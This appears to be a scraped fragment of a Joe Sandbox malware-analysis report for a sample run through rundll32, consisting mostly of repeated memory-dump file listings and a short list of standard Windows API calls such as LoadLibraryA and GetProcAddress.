    • Snapshot File: hcaresult_4_1_20000000_rundll32.jbxd
    APIs
    Strings
    Memory Dump Source
    • Source File: 00000004.00000001.214455681.20001000.00000020.sdmp, Offset: 20000000, based on PE: true
    • Associated: 00000004.00000001.214435774.20000000.00000002.sdmp
    • Associated: 00000004.00000001.214541905.20051000.00000004.sdmp
    • Associated: 00000004.00000001.214559058.20052000.00000008.sdmp
    • Associated: 00000004.00000001.214577167.20055000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_1_20000000_rundll32.jbxd

    Non-executed Functions

    Strings
    Memory Dump Source
    • Source File: 00000004.00000001.214455681.20001000.00000020.sdmp, Offset: 20000000, based on PE: true
    • Associated: 00000004.00000001.214435774.20000000.00000002.sdmp
    • Associated: 00000004.00000001.214541905.20051000.00000004.sdmp
    • Associated: 00000004.00000001.214559058.20052000.00000008.sdmp
    • Associated: 00000004.00000001.214577167.20055000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_1_20000000_rundll32.jbxd
    APIs
    • RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 20008880
    • LoadLibraryA.KERNEL32(?), ref: 200088FD
    • GetLastError.KERNEL32(?,?), ref: 20008909
    • RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 2000893C
    • InterlockedExchange.KERNEL32(?,00000000), ref: 2000894E
    • LocalAlloc.KERNEL32(00000040,00000008), ref: 20008962
    • FreeLibrary.KERNEL32(00000000), ref: 2000897F
    • GetProcAddress.KERNEL32(?,?), ref: 200089D4
    • GetLastError.KERNEL32 ref: 200089E0
    • RaiseException.KERNEL32(C06D007F,00000000,00000001,?), ref: 20008A12
    Strings
    Memory Dump Source
    • Source File: 00000004.00000001.214455681.20001000.00000020.sdmp, Offset: 20000000, based on PE: true
    • Associated: 00000004.00000001.214435774.20000000.00000002.sdmp
    • Associated: 00000004.00000001.214541905.20051000.00000004.sdmp
    • Associated: 00000004.00000001.214559058.20052000.00000008.sdmp
    • Associated: 00000004.00000001.214577167.20055000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_1_20000000_rundll32.jbxd
    APIs
    Strings
    Memory Dump Source
    • Source File: 00000004.00000001.214455681.20001000.00000020.sdmp, Offset: 20000000, based on PE: true
    • Associated: 00000004.00000001.214435774.20000000.00000002.sdmp
    • Associated: 00000004.00000001.214541905.20051000.00000004.sdmp
    • Associated: 00000004.00000001.214559058.20052000.00000008.sdmp
    • Associated: 00000004.00000001.214577167.20055000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_1_20000000_rundll32.jbxd
    APIs
    Strings
    Memory Dump Source
    • Source File: 00000004.00000001.214455681.20001000.00000020.sdmp, Offset: 20000000, based on PE: true
    • Associated: 00000004.00000001.214435774.20000000.00000002.sdmp
    • Associated: 00000004.00000001.214541905.20051000.00000004.sdmp
    • Associated: 00000004.00000001.214559058.20052000.00000008.sdmp
    • Associated: 00000004.00000001.214577167.20055000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_1_20000000_rundll32.jbxd
    APIs
    Strings
    Memory Dump Source
    • Source File: 00000004.00000001.214455681.20001000.00000020.sdmp, Offset: 20000000, based on PE: true
    • Associated: 00000004.00000001.214435774.20000000.00000002.sdmp
    • Associated: 00000004.00000001.214541905.20051000.00000004.sdmp
    • Associated: 00000004.00000001.214559058.20052000.00000008.sdmp
    • Associated: 00000004.00000001.214577167.20055000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_1_20000000_rundll32.jbxd

    Executed Functions

    Non-executed Functions